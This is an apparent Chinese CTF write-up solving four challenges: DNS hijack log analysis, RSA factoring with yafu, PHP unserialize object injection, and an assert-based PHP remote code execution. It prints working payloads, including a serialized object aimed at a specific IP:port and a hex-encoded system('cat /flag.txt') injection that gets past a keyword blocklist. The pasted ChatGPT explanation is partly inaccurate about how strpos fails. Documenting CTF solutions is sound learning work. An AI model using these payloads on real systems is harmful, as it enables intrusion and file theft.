日志分析

近日xxa集团的某终端遭到DNS劫持的恶意攻击,导致大量的服务器、应用、个人终端都无法正常的访问,请找出被劫持的服务器IP

打开后在Wireshark里面过滤器填写dns,过滤所有的DNS请求

然后随便拉一下就发现,有对外网DNS服务器进行查询的操作,这个IP是61.7.12.5,所以答案为flag{61.7.12.5}

RSA

yafu

题目说了用yafu,咱就上yafu呗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
> .\yafu-x64.exe "factor(5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021)"                                                                                                                 

fac: factoring 5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C319
rho: x^2 + 2, starting 1000 iterations on C319
rho: x^2 + 1, starting 1000 iterations on C319
pm1: starting B1 = 150K, B2 = gmp-ecm default on C319
ecm: 0/30 curves on C319, B1=2K, B2=gmp-ecm default
Total factoring time = 6.6378 seconds


***factors found***

P11 = 55307187311
P309 = 103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611

ans = 1

得到了因数55307187311103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611,再写RSA解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from sympy import mod_inverse

n = 5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021
e = 65537
c = 984765936167568915783737736704322867611565848218162635654661946159274680387765479436495629732147881246546457348407235796531559724831194942893739549488239267819251236343133592127393904508787113965976179961040457169804920173316042295428577459093103897018392603409275993459118346734697394691845258237102468061273125331821
p = 55307187311
q = 103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611

print(p * q == n)

# 计算私钥 d
phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)

# 解密
m = pow(c, d, n)

# 输出解密结果
print("解密后的消息:", m)
decoded_message = bytearray.fromhex(hex(m)[2:]).decode()
print(decoded_message)

结果

1
2
3
4
PS C:\Users\HelloCTF_OS\Desktop\GDUTCTF> python .\RSA\dec.py 
True
解密后的消息: 56006392793427444397469159507968818734487760249840566044504304603998891915995068783011778052460000893
flag{a878b5d5-4118-4402-a1d0-599c47ecbab6}

serialize

上来给了PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
class Handle{
private $handle;

public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

if (isset($_GET['exp'])) {
unserialize($_GET['exp']);
} else {
show_source(__FILE__);
}

搜到原题:2019全国大学生信息安全竞赛 web JustSoso(parse_url解析漏洞+序列化)_justsoso ctf-CSDN博客

构造payload

1
http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D

发现没有回显,于是尝试访问flag.txt,就出来了

1
http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag.txt%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D

ezrce

上来给了源码

1
2
3
4
5
6
7
8
<?php 
highlight_file(__FILE__);
if (isset($_POST['data'])){
$data = $_POST['data'];
if (!preg_match('/flag|cat|\?|\*|&|\||nl|tac|system|exec|\`|head|tail/i', $data)){
assert("strpos('$data', 'data') === true");
}
}

好,知识盲区,没做过带assert的,去质问ChatGPT o1,告诉我是assert截断类题目;我告诉它需要读取flag.txt(因为上面那个序列化是flag.txt),然后给了我payload

1
data=hello')%20or%20print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));//

让GPT来给我解释吧(躺平)

URL 解码后的 Payload

首先,将 URL 编码的部分 %20(代表空格)进行解码,完整的 data 参数值如下:

1
data=hello') or print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));//

Payload 结构解析

该 Payload 利用 PHP 的 assert 函数进行代码注入,以执行系统命令 cat /flag.txt,从而读取 flag.txt 文件的内容。以下是对 Payload 各部分的详细解释:

hello')

1
hello')
  • 作用:这部分结束了 strpos 函数的第一个参数字符串。原始 PHP 代码中的 assert 调用如下:

    1
    assert("strpos('$data', 'data') === true");

    $data 被替换为 hello') or print(assert("..."));// 时,整个 assert 语句变为:

    1
    assert("strpos('hello') or print(assert("..."));//', 'data') === true");

    这里,hello') 关闭了 strpos 的第一个参数字符串,使得后续的 or print(assert("..."));// 成为新的 PHP 代码执行部分。

or print(assert("..."));//

1
or print(assert("..."));//
  • 作用

    • **or**:逻辑操作符。如果左侧表达式为 false,则执行右侧表达式。
    • **print(assert("..."))**:执行 assert 函数,并将其返回值打印出来。
    • **//**:注释符,用于注释掉后续的代码,防止语法错误。

"\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"

1
"\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"
  • 作用:使用十六进制转义序列表示字符串,以绕过正则表达式过滤。具体解析如下:

    • **\x73\x79\x73\x74\x65\x6D**:对应 ASCII 字符串 system
    • **\x63\x61\x74**:对应 ASCII 字符串 cat
    • **\x20**:对应空格``
    • **\x2F**:对应 /
    • **\x66\x6C\x61\x67**:对应 flag
    • **\x2E**:对应 .
    • **\x74\x78\x74**:对应 txt
  • 解码后的字符串

    1
    system('cat /flag.txt')

完整的注入后的 assert 代码

将上述部分组合起来,注入后的 assert 调用如下:

1
assert("strpos('hello') or print(assert("system('cat /flag.txt')"));//', 'data') === true");

执行流程分析

  1. **strpos('hello')**:
    • strpos 函数通常需要至少两个参数(需要查找的字符串和查找的子字符串)。在这里,只有一个参数 'hello',这会导致 PHP 报告一个警告或错误,因为参数不足。
  2. **or print(assert("system('cat /flag.txt')"))**:
    • 由于 strpos('hello') 的返回值为 false(因为查找失败或参数错误),逻辑操作符 or 会执行右侧的表达式。
    • print(assert("system('cat /flag.txt')")) 会执行 system('cat /flag.txt'),试图读取 /flag.txt 文件的内容,并将其输出。
  3. **//**:
    • 注释掉后续的代码,防止语法错误或干扰注入效果。

然后丢进去就出来了